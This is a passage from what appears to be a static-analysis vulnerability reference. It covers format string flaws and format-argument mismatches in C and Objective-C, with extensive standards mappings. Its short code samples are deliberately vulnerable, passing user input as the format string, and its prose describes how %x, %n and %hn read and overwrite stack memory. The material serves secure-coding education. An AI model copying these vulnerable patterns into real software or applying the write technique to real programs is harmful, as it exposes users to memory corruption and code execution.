[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SA-15 Development Process and Standards and Tools (P2), SC-8 Transmission Confidentiality and Integrity (P1), SI-11 Error Handling (P2)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SA-15 Development Process and Standards and Tools, SC-8 Transmission Confidentiality and Integrity, SI-11 Error Handling
[12] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[13] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[14] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[15] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[16] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[17] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[18] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[19] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.1.3 Build (L2 L3)
[20] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.6 - Sensitive Data Retention
[32] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II, APP3620 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II, APP3620 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II, APP3620 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II, APP3620 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II, APP3620 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II, APP3620 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II, APP3620 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[54] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.config.java.flex_misconfiguration_debug_information
Abstract
Allowing an attacker to control a function's format string can result in a buffer overflow.
Explanation
Format string vulnerabilities occur when:

1. Data enters the application from an untrusted source.



2. The data is passed as the format string argument to a function like sprintf(), FormatMessageW(), or syslog().
Example 1: The following code copies a command line argument into a buffer using snprintf().


int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}


This code allows an attacker to view the contents of the stack and write to the stack using a command line argument containing a sequence of formatting directives. The attacker may read from the stack by providing more formatting directives, such as %x, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the %n formatting directive, the attacker may write to the stack, causing snprintf() to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack.

Example 2: Certain implementations make more advanced attacks even easier by providing format directives that control the location in memory to read from or write to. An example of these directives is shown in the following code, written for glibc:


printf("%d %d %1$d %1$d\n", 5, 9);


This code produces the following output:


5 9 5 5


It is also possible to use half-writes (%hn) to accurately control arbitrary DWORDS in memory, which greatly reduces the complexity needed to execute an attack that would otherwise require four staggered writes, such as the one mentioned in Example 1.

Example 3: Simple format string vulnerabilities often result from seemingly innocuous shortcuts. The use of some such shortcuts is so ingrained that programmers might not even realize that the function they are using expects a format string argument.

For example, the syslog() function is sometimes used as follows:


...
syslog(LOG_ERR, cmdBuf);
...


Because the second parameter to syslog() is a format string, any formatting directives included in cmdBuf are interpreted as described in Example 1.

The following code shows a correct usage of syslog():


...
syslog(LOG_ERR, "%s", cmdBuf);
...
References
[1] T. Newsham Format String Attacks Guardent, Inc.
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 134
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754, CCI-002824
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1), SI-16 Memory Protection (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation, SI-16 Memory Protection
[16] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.4.2 Memory/String/Unmanaged Code Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 134
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[54] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.dataflow.cpp.format_string
Abstract
An attacker may control the format string argument allowing an attack much like a buffer overflow.
Explanation
Format string vulnerabilities occur when:

1. Data enters the application from an untrusted source.



2. The data is passed as the format string argument to a function like sprintf(), FormatMessageW(), syslog(), NSLog, or NSString.stringWithFormatExample 1: The following code utilizes a command line argument as a format string in NSString.stringWithFormat:.


int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}


This code allows an attacker to view the contents of the stack and corrupt the stack using a command line argument containing a sequence of formatting directives. The attacker may read from the stack by providing more formatting directives, such as %x, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.)

Objective-C supports the legacy C standard libraries so the following examples are exploitable if your application uses C APIs.

Example 2: Certain implementations make more advanced attacks even easier by providing format directives that control the location in memory to read from or write to. An example of these directives is shown in the following code, written for glibc:


printf("%d %d %1$d %1$d\n", 5, 9);


This code produces the following output:


5 9 5 5


It is also possible to use half-writes (%hn) to accurately control arbitrary DWORDS in memory, which greatly reduces the complexity needed to execute an attack that would otherwise require four staggered writes, such as the one mentioned in Example 1.

Example 3: Simple format string vulnerabilities often result from seemingly innocuous shortcuts. The use of some such shortcuts is so ingrained that programmers might not even realize that the function they are using expects a format string argument.

For example, the syslog() function is sometimes used as follows:


...
syslog(LOG_ERR, cmdBuf);
...


Because the second parameter to syslog() is a format string, any formatting directives included in cmdBuf are interpreted as described in Example 1.

The following code shows a correct usage of syslog():


...
syslog(LOG_ERR, "%s", cmdBuf);
...
Example 4: Apple core classes provide interesting avenues for exploiting format string vulnerabilities.

For example, the String.stringByAppendingFormat() function is sometimes used as follows:


...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...


stringByAppendingFormat will parse any format string characters contained within the NSString passed to it.

The following code shows a correct usage of stringByAppendingFormat():


...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
References
[1] T. Newsham Format String Attacks Guardent, Inc.
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 134
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754, CCI-002824
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1), SI-16 Memory Protection (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation, SI-16 Memory Protection
[16] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.4.2 Memory/String/Unmanaged Code Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 134
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[54] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.dataflow.objc.format_string
Abstract
The program uses an improperly constructed format string that contains a different number of conversion specifiers than the function has arguments. Incorrect format strings can lead the program to read data outside the bounds of allocated memory, which can allow access to sensitive information, introduce incorrect behavior, or crash the program.
Explanation
Buffer overflow is probably the best known form of software security vulnerability. Most software developers know what a buffer overflow vulnerability is, but buffer overflow attacks against both legacy and newly-developed applications are still quite common. Part of the problem is due to the wide variety of ways buffer overflows can occur, and part is due to the error-prone techniques often used to prevent them.

In a classic buffer overflow exploit, the attacker sends data to a program, which it stores in an undersized stack buffer. The result is that information on the call stack is overwritten, including the function's return pointer. The data sets the value of the return pointer so that when the function returns, it transfers control to malicious code contained in the attacker's data.

Although this type of stack buffer overflow is still common on some platforms and in some development communities, there are a variety of other types of buffer overflow, including heap buffer overflows and off-by-one errors among others. There are a number of excellent books that provide detailed information on how buffer overflow attacks work, including Building Secure Software [1], Writing Secure Code [2], and The Shellcoder's Handbook [3].

At the code level, buffer overflow vulnerabilities usually involve the violation of a programmer's assumptions. Many memory manipulation functions in C and C++ do not perform bounds checking and can easily exceed the allocated bounds of the buffers they operate upon. Even bounded functions, such as strncpy(), can cause vulnerabilities when used incorrectly. The combination of memory manipulation and mistaken assumptions about the size or makeup of a piece of data is the root cause of most buffer overflows.

In this case, an improperly constructed format string causes the program to access values outside the bounds of allocated memory.

Example: The following reads arbitrary values from the stack because the number of format specifiers does not align with the number of arguments passed to the function.

void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
References
[1] J. Viega, G. McGraw Building Secure Software Addison-Wesley
[2] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[3] J. Koziol et al. The Shellcoder's Handbook: Discovering and Exploiting Security Holes John Wiley & Sons
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 126
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [1] CWE ID 119, [5] CWE ID 125
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [5] CWE ID 119, [4] CWE ID 125
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [3] CWE ID 125, [17] CWE ID 119
[12] Standards Mapping - Common Weakness Enumeration Top 25 2022 [5] CWE ID 125, [19] CWE ID 119
[13] Standards Mapping - Common Weakness Enumeration Top 25 2023 [7] CWE ID 125, [17] CWE ID 119
[14] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002824
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[17] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-16 Memory Protection (P1)
[18] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-16 Memory Protection
[19] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[20] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-2
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 119
[34] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002590 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002590 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002590 CAT I
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[56] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.internal.cpp.format_string_argument_number_mismatch
Abstract
The program uses an improperly constructed format string that contains conversion specifiers that do not align with the types of the arguments passed to the function. Incorrect format strings can lead the program to convert values incorrectly and potentially read or write outside the bounds of allocated memory, which can introduce incorrect behavior or crash the program.
Explanation
Buffer overflow is probably the best known form of software security vulnerability. Most software developers know what a buffer overflow vulnerability is, but buffer overflow attacks against both legacy and newly-developed applications are still quite common. Part of the problem is due to the wide variety of ways buffer overflows can occur, and part is due to the error-prone techniques often used to prevent them.

In a classic buffer overflow exploit, the attacker sends data to a program, which it stores in an undersized stack buffer. The result is that information on the call stack is overwritten, including the function's return pointer. The data sets the value of the return pointer so that when the function returns, it transfers control to malicious code contained in the attacker's data.

Although this type of stack buffer overflow is still common on some platforms and in some development communities, there are a variety of other types of buffer overflow, including heap buffer overflows and off-by-one errors among others. There are a number of excellent books that provide detailed information on how buffer overflow attacks work, including Building Secure Software [1], Writing Secure Code [2], and The Shellcoder's Handbook [3].

At the code level, buffer overflow vulnerabilities usually involve the violation of a programmer's assumptions. Many memory manipulation functions in C and C++ do not perform bounds checking and can easily exceed the allocated bounds of the buffers they operate upon. Even bounded functions, such as strncpy(), can cause vulnerabilities when used incorrectly. The combination of memory manipulation and mistaken assumptions about the size or makeup of a piece of data is the root cause of most buffer overflows.

In this case, an improperly constructed format string causes the program to improperly convert data values or to access values outside the bounds of allocated memory.

Example: The following code incorrectly converts f from a float using a %d format specifier.


void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
References
[1] J. Viega, G. McGraw Building Secure Software Addison-Wesley
[2] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[3] J. Koziol et al. The Shellcoder's Handbook: Discovering and Exploiting Security Holes John Wiley & Sons
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 125, CWE ID 787
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [1] CWE ID 119, [5] CWE ID 125, [12] CWE ID 787
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [5] CWE ID 119, [4] CWE ID 125, [2] CWE ID 787
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [1] CWE ID 787, [3] CWE ID 125, [17] CWE ID 119
[12] Standards Mapping - Common Weakness Enumeration Top 25 2022 [1] CWE ID 787, [5] CWE ID 125, [19] CWE ID 119
[13] Standards Mapping - Common Weakness Enumeration Top 25 2023 [1] CWE ID 787, [7] CWE ID 125, [17] CWE ID 119
[14] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002824
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 10.3
[17] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 5-0-3
